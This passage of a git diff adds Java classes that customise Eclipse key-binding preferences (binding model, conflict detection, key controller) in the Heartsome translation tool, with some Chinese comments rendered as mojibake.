getSelectedElement(); + copy(element); + } + + /** + * Makes a copy of the + * @param element + */ + public void copy(BindingElement element) { + if (element == null || !(element.getModelObject() instanceof Binding)) { + return; + } + BindingElement be = new BindingElement(controller); + ParameterizedCommand parameterizedCommand = ((Binding) element.getModelObject()).getParameterizedCommand(); + be.init(parameterizedCommand); + be.setParent(this); + bindingElements.add(be); + commandToElement.put(parameterizedCommand, be); + controller.firePropertyChange(this, PROP_BINDING_ADD, null, be); + setSelectedElement(be); + } + + /** + * @return Returns the bindings. + */ + public HashSet getBindings() { + return bindingElements; + } + + /** + * @return Returns the bindingToElement. + */ + public Map getBindingToElement() { + return bindingToElement; + } + + /** + * @return Returns the commandToElement. + */ + public Map getCommandToElement() { + return commandToElement; + } + + /** + * The initialization only. + * @param locator + * @param manager + * @param model + */ + public void init(IServiceLocator locator, BindingManager manager, ContextModel model) { + Set cmdsForBindings = new HashSet(); + bindingToElement = new HashMap(); + commandToElement = new HashMap(); + + bindingElements = new HashSet(); + bindingManager = manager; + + Iterator i = manager.getActiveBindingsDisregardingContextFlat().iterator(); + while (i.hasNext()) { + Binding b = (Binding) i.next(); + BindingElement be = new BindingElement(controller); + be.init(b, model); + be.setParent(this); + bindingElements.add(be); + bindingToElement.put(b, be); + cmdsForBindings.add(b.getParameterizedCommand()); + } + + ICommandService commandService = (ICommandService) locator.getService(ICommandService.class); + final Collection commandIds = commandService.getDefinedCommandIds(); + allParameterizedCommands = new HashSet(); + final Iterator commandIdItr = commandIds.iterator(); + while (commandIdItr.hasNext()) { + final String currentCommandId = (String) commandIdItr.next(); + final Command currentCommand = commandService.getCommand(currentCommandId); + try { + allParameterizedCommands.addAll(ParameterizedCommand.generateCombinations(currentCommand)); + } catch (final NotDefinedException e) { + // It is safe to just ignore undefined commands. + } + } + + i = allParameterizedCommands.iterator(); + while (i.hasNext()) { + ParameterizedCommand cmd = (ParameterizedCommand) i.next(); + if (!cmdsForBindings.contains(cmd)) { + BindingElement be = new BindingElement(controller); + be.init(cmd); + be.setParent(this); + bindingElements.add(be); + commandToElement.put(cmd, be); + } + } + } + + /** + * Refreshes the binding model to be in sync with the {@link BindingManager}. + * @param contextModel + */ + public void refresh(ContextModel contextModel, List lstRemove) { + Set cmdsForBindings = new HashSet(); + + Iterator iterator = bindingElements.iterator(); + while (iterator.hasNext()) { + BindingElement bindingElement = iterator.next(); + if (lstRemove.contains(bindingElement.getId())) { + iterator.remove(); + } + } + Iterator> it = bindingToElement.entrySet().iterator(); + while (it.hasNext()) { + Entry entry = (Entry) it.next(); + if (lstRemove.contains(entry.getValue().getId())) { + it.remove(); + } + } + + Collection activeManagerBindings = bindingManager + .getActiveBindingsDisregardingContextFlat(); + + // add any bindings that we don't already have. + Iterator i = activeManagerBindings.iterator(); + Map temp = new HashMap(); + while (i.hasNext()) { + KeyBinding b = (KeyBinding) i.next(); + ParameterizedCommand parameterizedCommand = b + .getParameterizedCommand(); + cmdsForBindings.add(parameterizedCommand); + if (!bindingToElement.containsKey(b)) { + BindingElement be = new BindingElement(controller); + be.init(b, contextModel); + be.setParent(this); + bindingElements.add(be); + bindingToElement.put(b, be); + controller.firePropertyChange(this, PROP_BINDING_ADD, null, be); + // 去掉添加é‡å¤çš„情况 + temp.put(parameterizedCommand.getId(), be); + if (commandToElement.containsKey(parameterizedCommand) + && be.getUserDelta().intValue() == Binding.SYSTEM) { + Object remove = commandToElement.remove(parameterizedCommand); + bindingElements.remove(remove); + controller.firePropertyChange(this, PROP_BINDING_REMOVE, + null, remove); + } + } + } + + // 修改在æ¢å¤é»˜è®¤è®¾ç½®ï¼Œå‡ºçŽ°ä¸¤ä¸ªç›¸åŒçš„选项 + i = bindingElements.iterator(); + while (i.hasNext()) { + BindingElement be = (BindingElement) i.next(); + Object obj = be.getModelObject(); + if(temp.containsKey(be.getId())){ + if(!(obj instanceof Binding)){ + System.out.println("remove"); + i.remove(); + controller.firePropertyChange(this, PROP_BINDING_REMOVE, + null, be); + } + } + } + + // remove bindings that shouldn't be there + i = bindingElements.iterator(); + while (i.hasNext()) { + BindingElement be = (BindingElement) i.next(); + Object obj = be.getModelObject(); + + if (obj instanceof Binding) { + Binding b = (Binding) obj; + if (!activeManagerBindings.contains(b) || lstRemove.contains(be.getId())) { + be.fill(b.getParameterizedCommand()); + bindingToElement.remove(b); + i.remove(); + controller.firePropertyChange(this, PROP_BINDING_REMOVE, + null, be); + } + } else { + cmdsForBindings.add(obj); + } + } + + // If we removed the last binding for a parameterized command, + // put back the CMD + i = allParameterizedCommands.iterator(); + while (i.hasNext()) { + ParameterizedCommand cmd = (ParameterizedCommand) i.next(); + if (!cmdsForBindings.contains(cmd)) { + BindingElement be = new BindingElement(controller); + be.init(cmd); + be.setParent(this); + if (lstRemove.contains(be.getId())) { + continue; + } + bindingElements.add(be); + commandToElement.put(cmd, be); + controller.firePropertyChange(this, PROP_BINDING_ADD, null, be); + } + } + } + + /** + * Removes the selected element's binding + */ + public void remove() { + BindingElement element = (BindingElement) getSelectedElement(); + remove(element); + } + /** + * Removes the bindingElement binding. + * @param bindingElement + */ + public void remove(BindingElement bindingElement) { + if (bindingElement == null || !(bindingElement.getModelObject() instanceof Binding)) { + return; + } + KeyBinding keyBinding = (KeyBinding) bindingElement.getModelObject(); + if (keyBinding.getType() == Binding.USER) { + bindingManager.removeBinding(keyBinding); + } else { + KeySequence keySequence = keyBinding.getKeySequence(); + + // Add the delete binding + bindingManager.addBinding(new KeyBinding(keySequence, null, keyBinding.getSchemeId(), keyBinding + .getContextId(), null, null, null, Binding.USER)); + + // Unbind any conflicts affected by the delete binding + ConflictModel conflictModel = controller.getConflictModel(); + conflictModel.updateConflictsFor(bindingElement); + Collection conflictsList = conflictModel.getConflicts(); + if (conflictsList != null) { + Object[] conflicts = conflictsList.toArray(); + for (int i = 0; i < conflicts.length; i++) { + BindingElement be = (BindingElement) conflicts[i]; + if (be == bindingElement) { + continue; + } + Object modelObject = be.getModelObject(); + if (modelObject instanceof Binding) { + Binding binding = (Binding) modelObject; + if (binding.getType() != Binding.SYSTEM) { + continue; + } + ParameterizedCommand pCommand = binding.getParameterizedCommand(); + be.fill(pCommand); + commandToElement.put(pCommand, be); + } + } + } + } + ParameterizedCommand parameterizedCommand = keyBinding.getParameterizedCommand(); + bindingElement.fill(parameterizedCommand); + commandToElement.put(parameterizedCommand, bindingElement); + controller.firePropertyChange(this, PROP_CONFLICT_ELEMENT_MAP, null, bindingElement); + } + + /** + * Restores the specified BindingElement. A refresh should be performed afterwards. The refresh may be done after + * several elements have been restored. + * @param element + */ + public void restoreBinding(BindingElement element) { + if (element == null) { + return; + } + + Object modelObject = element.getModelObject(); + + ParameterizedCommand cmd = null; + if (modelObject instanceof ParameterizedCommand) { + cmd = (ParameterizedCommand) modelObject; + TriggerSequence trigger = bindingManager.getBestActiveBindingFor(cmd.getId()); + Binding binding = bindingManager.getPerfectMatch(trigger); + if (binding != null && binding.getType() == Binding.SYSTEM) { + return; + } + } else if (modelObject instanceof KeyBinding) { + cmd = ((KeyBinding) modelObject).getParameterizedCommand(); + } + + // Remove any USER bindings + Binding[] managerBindings = bindingManager.getBindings(); + ArrayList systemBindings = new ArrayList(); + ArrayList removalBindings = new ArrayList(); + for (int i = 0; i < managerBindings.length; i++) { + if (managerBindings[i].getParameterizedCommand() == null) { + removalBindings.add(managerBindings[i]); + } else if (managerBindings[i].getParameterizedCommand().equals(cmd)) { + if (managerBindings[i].getType() == Binding.USER) { + bindingManager.removeBinding(managerBindings[i]); + } else if (managerBindings[i].getType() == Binding.SYSTEM) { + systemBindings.add(managerBindings[i]); + } + } + } + + // Clear the USER bindings for parameterized commands + Iterator i = systemBindings.iterator(); + while (i.hasNext()) { + Binding sys = (Binding) i.next(); + Iterator j = removalBindings.iterator(); + while (j.hasNext()) { + Binding del = (Binding) j.next(); + if (deletes(del, sys) && del.getType() == Binding.USER) { + bindingManager.removeBinding(del); + } + } + } + + setSelectedElement(null); + + bindingElements.remove(element); + bindingToElement.remove(modelObject); + commandToElement.remove(modelObject); + controller.firePropertyChange(this, PROP_BINDING_REMOVE, null, element); + } + + /** + * Restores the currently selected binding. + * @param contextModel + */ + public void restoreBinding(ContextModel contextModel) { + BindingElement element = (BindingElement) getSelectedElement(); + + if (element == null) { + return; + } + + restoreBinding(element); + refresh(contextModel); + + Object obj = element.getModelObject(); + ParameterizedCommand cmd = null; + if (obj instanceof ParameterizedCommand) { + cmd = (ParameterizedCommand) obj; + } else if (obj instanceof KeyBinding) { + cmd = ((KeyBinding) obj).getParameterizedCommand(); + } + + boolean done = false; + Iterator i = bindingElements.iterator(); + // Reselects the command + while (i.hasNext() && !done) { + BindingElement be = (BindingElement) i.next(); + obj = be.getModelObject(); + ParameterizedCommand pcmd = null; + if (obj instanceof ParameterizedCommand) { + pcmd = (ParameterizedCommand) obj; + } else if (obj instanceof KeyBinding) { + pcmd = ((KeyBinding) obj).getParameterizedCommand(); + } + if (cmd.equals(pcmd)) { + done = true; + setSelectedElement(be); + } + } + } + + /** + * @param bindings + * The bindings to set. + */ + public void setBindings(HashSet bindings) { + HashSet old = this.bindingElements; + this.bindingElements = bindings; + controller.firePropertyChange(this, PROP_BINDINGS, old, bindings); + } + + /** + * @param bindingToElement + * The bindingToElement to set. + */ + public void setBindingToElement(Map bindingToElement) { + Map old = this.bindingToElement; + this.bindingToElement = bindingToElement; + controller.firePropertyChange(this, PROP_BINDING_ELEMENT_MAP, old, bindingToElement); + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/CategoryPatternFilter.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/CategoryPatternFilter.java new file mode 100644 index 0000000..40a3bcb --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/CategoryPatternFilter.java @@ -0,0 +1,72 @@ +package net.heartsome.cat.ts.ui.preferencepage; + +import org.eclipse.core.commands.Category; +import org.eclipse.core.commands.ParameterizedCommand; +import org.eclipse.core.commands.common.NotDefinedException; +import org.eclipse.jface.bindings.Binding; +import org.eclipse.jface.viewers.Viewer; +import org.eclipse.ui.dialogs.PatternFilter; +import org.eclipse.ui.internal.keys.model.BindingElement; + +/** + * åŒ org.eclipse.ui.internal.keys.CategoryPatternFilter + * @author peason + * @version + * @since JDK1.6 + */ +@SuppressWarnings("restriction") +public class CategoryPatternFilter extends PatternFilter { + private boolean filterCategories; + final Category uncategorized; + + public CategoryPatternFilter(boolean filterCategories, Category c) { + uncategorized = c; + filterCategories(filterCategories); + } + + public void filterCategories(boolean b) { + filterCategories = b; + if (filterCategories) { + setPattern("org.eclipse.ui.keys.optimization.false"); //$NON-NLS-1$ + } else { + setPattern("org.eclipse.ui.keys.optimization.true"); //$NON-NLS-1$ + } + } + + public boolean isFilteringCategories() { + return filterCategories; + } + + /** + * (non-Javadoc) + * + * @see org.eclipse.ui.dialogs.PatternFilter#isLeafMatch(org.eclipse.jface.viewers.Viewer, + * java.lang.Object) + */ + protected boolean isLeafMatch(Viewer viewer, Object element) { + if (filterCategories) { + final ParameterizedCommand cmd = getCommand(element); + try { + if (cmd != null + && cmd.getCommand().getCategory() == uncategorized) { + return false; + } + } catch (NotDefinedException e) { + return false; + } + } + return super.isLeafMatch(viewer, element); + } + + private ParameterizedCommand getCommand(Object element) { + if (element instanceof BindingElement) { + Object modelObject = ((BindingElement) element).getModelObject(); + if (modelObject instanceof Binding) { + return ((Binding) modelObject).getParameterizedCommand(); + } else if (modelObject instanceof ParameterizedCommand) { + return (ParameterizedCommand) modelObject; + } + } + return null; + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/ConflictModel2.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/ConflictModel2.java new file mode 100644 index 0000000..b2d5337 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/ConflictModel2.java @@ -0,0 +1,254 @@ +package net.heartsome.cat.ts.ui.preferencepage; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashMap; +import java.util.Iterator; +import java.util.Map; + +import org.eclipse.jface.bindings.Binding; +import org.eclipse.jface.bindings.BindingManager; +import org.eclipse.jface.bindings.TriggerSequence; +import org.eclipse.jface.util.IPropertyChangeListener; +import org.eclipse.jface.util.PropertyChangeEvent; +import org.eclipse.ui.internal.keys.model.BindingElement; +import org.eclipse.ui.internal.keys.model.BindingModel; +import org.eclipse.ui.internal.keys.model.CommonModel; +import org.eclipse.ui.internal.keys.model.ConflictModel; +import org.eclipse.ui.internal.keys.model.KeyController; + +/** + * 此类与 org.eclipse.ui.internal.keys.model.ConflictModel 的区别为修改了 updateConflictsFor æ–¹æ³•ï¼Œç”¨äºŽå¤„ç† Bug#2740 + * @author peason + * @version + * @since JDK1.6 + */ +public class ConflictModel2 extends ConflictModel { + + /** + * The set of conflicts for the currently selected element. + */ + private Collection conflicts; + + private BindingManager bindingManager; + + private BindingModel bindingModel; + + /** + * A mapping of binding element to known conflicts. + */ + private Map conflictsMap; + + /** + * @param kc + */ + public ConflictModel2(KeyController kc) { + super(kc); + } + + /** + * @return Returns the conflicts. + */ + public Collection getConflicts() { + return conflicts; + } + + /** + * Sets the conflicts to the given collection. Any conflicts in the + * collection that do not exist in the bindingModel are + * removed. + * + * @param conflicts + * The conflicts to set. + */ + public void setConflicts(Collection conflicts) { + Object old = this.conflicts; + this.conflicts = conflicts; + + if (this.conflicts != null) { + Iterator i = this.conflicts.iterator(); + Map bindingToElement = bindingModel.getBindingToElement(); + while (i.hasNext()) { + Object next = i.next(); + if (!bindingToElement.containsValue(next) + && !next.equals(getSelectedElement())) { + i.remove(); + } + } + } + + controller.firePropertyChange(this, PROP_CONFLICTS, old, conflicts); + } + + public void updateConflictsFor(BindingElement source) { + updateConflictsFor(source, false); + } + + public void updateConflictsFor(BindingElement oldValue, + BindingElement newValue) { + updateConflictsFor(oldValue, newValue, false); + } + + public void updateConflictsFor(BindingElement source, boolean removal) { + updateConflictsFor(null, source, removal); + } + + private void updateConflictsFor(BindingElement oldValue, + BindingElement newValue, boolean removal) { + updateConflictsFor(newValue, oldValue == null ? null : oldValue + .getTrigger(), newValue == null ? null : newValue.getTrigger(), + removal); + } + + public void updateConflictsFor(BindingElement newValue, + TriggerSequence oldTrigger, TriggerSequence newTrigger, + boolean removal) { + Collection matches = (Collection) conflictsMap.get(newValue); + if (matches != null) { + if (newTrigger == null || removal) { + // we need to clear this match + matches.remove(newValue); + conflictsMap.remove(newValue); + if (matches == conflicts) { + controller.firePropertyChange(this, PROP_CONFLICTS_REMOVE, + null, newValue); + } + if (matches.size() == 1) { + BindingElement tbe = (BindingElement) matches.iterator() + .next(); + conflictsMap.remove(tbe); + tbe.setConflict(Boolean.FALSE); + if (matches == conflicts) { + setConflicts(null); + } + } + return; + } else if (oldTrigger != null && !newTrigger.equals(oldTrigger)) { + // we need to clear this match + matches.remove(newValue); + conflictsMap.remove(newValue); + + if (matches == conflicts) { + controller.firePropertyChange(this, PROP_CONFLICTS_REMOVE, + null, newValue); + } + if (matches.size() == 1) { + BindingElement tbe = (BindingElement) matches.iterator() + .next(); + conflictsMap.remove(tbe); + tbe.setConflict(Boolean.FALSE); + if (matches == conflicts) { + setConflicts(null); + } + } + } else { + return; + } + } + + if (newValue.getTrigger() == null + || !(newValue.getModelObject() instanceof Binding)) { + return; + } + Binding binding = (Binding) newValue.getModelObject(); + TriggerSequence trigger = binding.getTriggerSequence(); + + matches = (Collection) bindingManager + .getActiveBindingsDisregardingContext().get(trigger); + ArrayList localConflicts = new ArrayList(); + if (matches != null) { + localConflicts.add(newValue); + Iterator i = matches.iterator(); + while (i.hasNext()) { + Binding b = (Binding) i.next(); +// if (binding != b +// && b.getContextId().equals(binding.getContextId()) +// && b.getSchemeId().equals(binding.getSchemeId())) { +// Object element = bindingModel.getBindingToElement().get(b); +// if (element != null) { +// localConflicts.add(element); +// } +// } +// Bug #2740 å¿«æ·é”®--å¿«æ·é”®è®¾ç½®é—®é¢˜ï¼šä¿®æ”¹éªŒè¯å†²çªå¿«æ·é”®çš„方法,使用以下的方å¼ï¼ŒåŽŸæ¥ä½¿ç”¨çš„是上é¢æ³¨é‡Šçš„æ–¹å¼ + if (binding != b + && !b.getParameterizedCommand().getCommand().toString().equals(binding.getParameterizedCommand().getCommand().toString())) { + Object element = bindingModel.getBindingToElement().get(b); + if (element != null) { + localConflicts.add(element); + } + } + } + } + + if (localConflicts.size() > 1) { + // first find if it is already a conflict collection + Collection knownConflicts = null; + Iterator i = localConflicts.iterator(); + while (i.hasNext() && knownConflicts == null) { + BindingElement tbe = (BindingElement) i.next(); + knownConflicts = (Collection) conflictsMap.get(tbe); + } + if (knownConflicts != null) { + knownConflicts.add(newValue); + conflictsMap.put(newValue, knownConflicts); + newValue.setConflict(Boolean.TRUE); + if (knownConflicts == conflicts) { + controller.firePropertyChange(this, PROP_CONFLICTS_ADD, + null, newValue); + } else if (newValue == getSelectedElement()) { + setConflicts(knownConflicts); + } + return; + } + boolean isSelected = false; + i = localConflicts.iterator(); + while (i.hasNext()) { + BindingElement tbe = (BindingElement) i.next(); + if (tbe != null) { + conflictsMap.put(tbe, localConflicts); + tbe.setConflict(Boolean.TRUE); + } + if (tbe == getSelectedElement()) { + isSelected = true; + } + } + if (isSelected) { + setConflicts(localConflicts); + } + } + } + + public void init(BindingManager manager, BindingModel model) { + bindingManager = manager; + bindingModel = model; + conflictsMap = new HashMap(); + Iterator i = bindingModel.getBindings().iterator(); + while (i.hasNext()) { + BindingElement be = (BindingElement) i.next(); + if (be.getModelObject() instanceof Binding) { + updateConflictsFor(be); + } + } + controller.addPropertyChangeListener(new IPropertyChangeListener() { + public void propertyChange(PropertyChangeEvent event) { + if (event.getSource() == ConflictModel2.this + && CommonModel.PROP_SELECTED_ELEMENT.equals(event + .getProperty())) { + if (event.getNewValue() != null) { + updateConflictsFor( + (BindingElement) event.getOldValue(), + (BindingElement) event.getNewValue()); + setConflicts((Collection) conflictsMap.get(event + .getNewValue())); + } else { + setConflicts(null); + } + } else if (BindingModel.PROP_BINDING_REMOVE.equals(event + .getProperty())) { + updateConflictsFor((BindingElement) event.getOldValue(), + (BindingElement) event.getNewValue(), true); + } + } + }); + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/IPreferenceConstants.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/IPreferenceConstants.java new file mode 100644 index 0000000..d5dbefb --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/IPreferenceConstants.java @@ -0,0 +1,119 @@ +package net.heartsome.cat.ts.ui.preferencepage; + +/** + * TS 应用中定义的首选项常é‡. + * @author cheney + */ +public interface IPreferenceConstants { + + /** + * è¯­è¨€ä»£ç  + */ + String LANGUAGECODE = net.heartsome.cat.common.core.IPreferenceConstants.LANGUAGECODE; + + /** + * å¯å¿½ç•¥å­—符 + */ + String IGNORABLE_CHARS = "ignorableChars"; + + /** + * 标记罚分 + */ + String TAG_PENALTY = "tagPenalty"; + + /** + * 最åŽä¸€æ¬¡æ‰“开文件目录对è¯æ¡†æ‰€é€‰æ‹©çš„目录路径 + */ + String LAST_DIRECTORY = net.heartsome.cat.common.core.IPreferenceConstants.LAST_DIRECTORY; + + /** + * 是å¦å¯ç”¨ OO(Open Office),用以支æŒè½¬æ¢ MSOffice 2003。 + */ + String AUTOMATIC_OO = net.heartsome.cat.common.core.IPreferenceConstants.AUTOMATIC_OO; + + /** + * 自动更新策略 + */ + String SYSTEM_AUTO_UPDATE = "net.heartsome.cat.ts.ui.preferencepage.autoupdate"; + + /** + * å¯åŠ¨æ—¶æ£€æŸ¥æ›´æ–° + */ + int SYSTEM_CHECK_UPDATE_WITH_STARTUP = 0; + + /** + * æ¯æœˆæ£€æŸ¥æ›´æ–° + */ + int SYSTEM_CHECK_UPDATE_WITH_MONTHLY = 1; + + /** + * æ¯æœˆæ£€æŸ¥æ›´æ–°æ—¶æ‰€é€‰çš„日期 + */ + String SYSTEM_CHECK_UPDATE_WITH_MONTHLY_DATE = "net.heartsome.cat.ts.ui.preferencepage.systemCheckUpdateWithMonthlyDate"; + + /** + * æ¯å‘¨æ£€æŸ¥æ›´æ–° + */ + int SYSTEM_CHECK_UPDATE_WITH_WEEKLY = 2; + + /** + * æ¯å‘¨æ£€æŸ¥æ›´æ–°æ—¶æ‰€é€‰çš„日期 + */ + String SYSTEM_CHECK_UPDATE_WITH_WEEKLY_DATE = "net.heartsome.cat.ts.ui.preferencepage.systemCheckUpdateWithWeeklyDate"; + + /** + * ç«‹å³æ£€æŸ¥æ›´æ–° + */ +// int SYSTEM_CHECK_UPDATE_WITH_IMMEDIATELY = 3; + + /** + * 从ä¸æ£€æŸ¥æ›´æ–° + */ + int SYSTEM_CHECK_UPDATE_WITH_NEVER = 4; + + /** + * 用户界é¢è¯­è¨€ + */ + String SYSTEM_LANGUAGE = "net.heartsome.cat.ts.ui.preferencepage.systemLanguage"; + + /** + * 用户界é¢è¯­è¨€ä¸ºè‹±æ–‡ + */ + int SYSTEM_LANGUAGE_WITH_EN = 0; + + /** + * 用户界é¢è¯­è¨€ä¸ºç®€ä½“中文 + */ + int SYSTEM_LANGUAGE_WITH_ZH_CN = 1; + + /** + * 系统用户 + */ + String SYSTEM_USER = "net.heartsome.cat.ts.ui.preferencepage.systemUser"; + + /** + * XLIFF编辑器字体å称 + */ + String XLIFF_EDITOR_FONT_NAME = "net.heartsome.cat.ts.ui.preferencepage.systemDefaultFontName"; + + String XLIFF_EDITOR_SHOWHIDEN_NONPRINTCHARACTER = "net.heartsome.cat.ts.ui.nonPrinttingCharacter"; + /** + * XLIFFç¼–è¾‘å™¨å­—ä½“å¤§å° + */ + String XLIFF_EDITOR_FONT_SIZE = "net.heartsome.cat.ts.ui.preferencepage.systemDefaultFontSize"; + + /** 匹é…结果é¢æ¿å­—体å称 */ + String MATCH_VIEW_FONT_NAME = "net.heartsome.cat.ts.ui.preferencepage.matchViewFontName"; + /** 匹é…结果é¢æ¿å­—ä½“å¤§å° */ + String MATCH_VIEW_FONT_SIZE = "net.heartsome.cat.ts.ui.preferencepage.matchViewFontSize"; + + + + //------------定义记ä½ä¿¡æ¯å¸¸é‡----------------// + String NEW_PROJECT_SRC_LANG = "net.heartsome.cat.ts.ui.wizards.new.rm.srclang"; + + String NEW_PROJECT_TGT_LANG = "net.heartsome.cat.ts.ui.wizards.new.rm.tgtlang"; + + /** 标志程åºæ˜¯å¦æ˜¯ç¬¬ä¸€æ¬¡è¿è¡Œ robert 2013-01-04 */ + String INITIAL_RUN = "net.heartsome.cat.ts.InitialRun"; +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/KeyController2.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/KeyController2.java new file mode 100644 index 0000000..9d9ce6d --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/KeyController2.java @@ -0,0 +1,575 @@ +package net.heartsome.cat.ts.ui.preferencepage; + +import java.io.BufferedWriter; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.OutputStreamWriter; +import java.io.Writer; +import java.util.ArrayList; +import java.util.HashSet; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; +import java.util.ResourceBundle; + +import org.eclipse.core.commands.CommandManager; +import org.eclipse.core.commands.ParameterizedCommand; +import org.eclipse.core.commands.common.NotDefinedException; +import org.eclipse.core.commands.contexts.ContextManager; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.ListenerList; +import org.eclipse.core.runtime.SafeRunner; +import org.eclipse.core.runtime.Status; +import org.eclipse.jface.bindings.Binding; +import org.eclipse.jface.bindings.BindingManager; +import org.eclipse.jface.bindings.Scheme; +import org.eclipse.jface.bindings.TriggerSequence; +import org.eclipse.jface.bindings.keys.KeyBinding; +import org.eclipse.jface.bindings.keys.KeySequence; +import org.eclipse.jface.util.IPropertyChangeListener; +import org.eclipse.jface.util.PropertyChangeEvent; +import org.eclipse.jface.util.SafeRunnable; +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.contexts.IContextService; +import org.eclipse.ui.internal.WorkbenchPlugin; +import org.eclipse.ui.internal.keys.BindingService; +import org.eclipse.ui.internal.keys.KeysPreferencePage; +import org.eclipse.ui.internal.keys.NewKeysPreferenceMessages; +import org.eclipse.ui.internal.keys.model.BindingElement; +import org.eclipse.ui.internal.keys.model.CommonModel; +import org.eclipse.ui.internal.keys.model.ContextElement; +import org.eclipse.ui.internal.keys.model.ContextModel; +import org.eclipse.ui.internal.keys.model.KeyController; +import org.eclipse.ui.internal.keys.model.ModelElement; +import org.eclipse.ui.internal.keys.model.SchemeElement; +import org.eclipse.ui.internal.keys.model.SchemeModel; +import org.eclipse.ui.internal.misc.StatusUtil; +import org.eclipse.ui.internal.util.Util; +import org.eclipse.ui.keys.IBindingService; +import org.eclipse.ui.services.IServiceLocator; +import org.eclipse.ui.statushandlers.StatusManager; + +/** + * 修改了 KeyController 中的 init å’Œ setDefaultBindings 方法 + * @author peason + * @version + * @since JDK1.6 + */ +public class KeyController2 extends KeyController { + + private static final String DELIMITER = ","; //$NON-NLS-1$ + private static final String ESCAPED_QUOTE = "\""; //$NON-NLS-1$ + private static final String REPLACEMENT = "\"\""; //$NON-NLS-1$ + /** + * The resource bundle from which translations can be retrieved. + */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(KeysPreferencePage.class.getName()); + private ListenerList eventManager = null; + private BindingManager fBindingManager; + private ContextModel contextModel; + private SchemeModel fSchemeModel; + private BindingModel2 bindingModel; + private boolean notifying = true; + private ConflictModel2 conflictModel; + private IServiceLocator serviceLocator; + private ListenerList getEventManager() { + if (eventManager == null) { + eventManager = new ListenerList(ListenerList.IDENTITY); + } + return eventManager; + } + + public void setNotifying(boolean b) { + notifying = b; + } + + public boolean isNotifying() { + return notifying; + } + + public void firePropertyChange(Object source, String propId, Object oldVal, Object newVal) { + if (!isNotifying()) { + return; + } + if (Util.equals(oldVal, newVal)) { + return; + } + + Object[] listeners = getEventManager().getListeners(); + PropertyChangeEvent event = new PropertyChangeEvent(source, propId, oldVal, newVal); + for (int i = 0; i < listeners.length; i++) { + ((IPropertyChangeListener) listeners[i]).propertyChange(event); + } + } + + public void addPropertyChangeListener(IPropertyChangeListener listener) { + getEventManager().add(listener); + } + + public void removePropertyChangeListener(IPropertyChangeListener listener) { + getEventManager().remove(listener); + } + + public void init(IServiceLocator locator, List lstRemove) { + getEventManager().clear(); + this.serviceLocator = locator; + // filterDupliteBind(); + fBindingManager = loadModelBackend(serviceLocator); + contextModel = new ContextModel(this); + contextModel.init(serviceLocator); + fSchemeModel = new SchemeModel(this); + fSchemeModel.init(fBindingManager); + bindingModel = new BindingModel2(this); + bindingModel.init(serviceLocator, fBindingManager, contextModel); + + HashSet set = bindingModel.getBindings(); + Iterator iterator = set.iterator(); + while (iterator.hasNext()) { + BindingElement bindingElement = iterator.next(); + if (lstRemove.contains(bindingElement.getId())) { + iterator.remove(); + } + } + bindingModel.setBindings(set); + Map mapBBe = bindingModel.getBindingToElement(); + Iterator> it = mapBBe.entrySet().iterator(); + while (it.hasNext()) { + Entry entry = (Entry) it.next(); + if (lstRemove.contains(entry.getValue().getId())) { + it.remove(); + } + } + bindingModel.setBindingToElement(mapBBe); + + conflictModel = new ConflictModel2(this); + conflictModel.init(fBindingManager, bindingModel); + addSetContextListener(); + addSetBindingListener(); + addSetConflictListener(); + addSetKeySequenceListener(); + addSetSchemeListener(); + addSetModelObjectListener(); + } + + @SuppressWarnings("restriction") + public void filterDupliteBind(){ + IWorkbench workbench = PlatformUI.getWorkbench(); + IBindingService bindingService = (IBindingService) workbench.getService(IBindingService.class); + BindingService service =(BindingService)bindingService; + BindingManager bindingManager = service.getBindingManager(); + //service.getBindingManager(). + Binding[] bindings = bindingManager.getBindings(); + List bindTemp = new ArrayList(); + List ids = new ArrayList(); + for(Binding bind : bindings){ + if(null ==bind){ + continue; + } + ParameterizedCommand command = bind.getParameterizedCommand(); + if(null == command){ + continue; + } + String id = command.getId(); + if(!ids.contains(id)){ + ids.add(id); + bindTemp.add(bind); + } + } + + bindingManager.setBindings(bindTemp.toArray(new Binding[ids.size()])); + } + + private static BindingManager loadModelBackend(IServiceLocator locator) { + IBindingService bindingService = (IBindingService) locator.getService(IBindingService.class); + BindingManager bindingManager = new BindingManager(new ContextManager(), new CommandManager()); + final Scheme[] definedSchemes = bindingService.getDefinedSchemes(); + try { + Scheme modelActiveScheme = null; + for (int i = 0; i < definedSchemes.length; i++) { + final Scheme scheme = definedSchemes[i]; + final Scheme copy = bindingManager.getScheme(scheme.getId()); + copy.define(scheme.getName(), scheme.getDescription(), scheme.getParentId()); + if (definedSchemes[i] == bindingService.getActiveScheme()) { + modelActiveScheme = copy; + } + } + bindingManager.setActiveScheme(modelActiveScheme); + } catch (final NotDefinedException e) { + StatusManager.getManager() + .handle(new Status(IStatus.WARNING, WorkbenchPlugin.PI_WORKBENCH, + "Keys page found an undefined scheme", e)); //$NON-NLS-1$ + } + bindingManager.setLocale(bindingService.getLocale()); + bindingManager.setPlatform(bindingService.getPlatform()); + 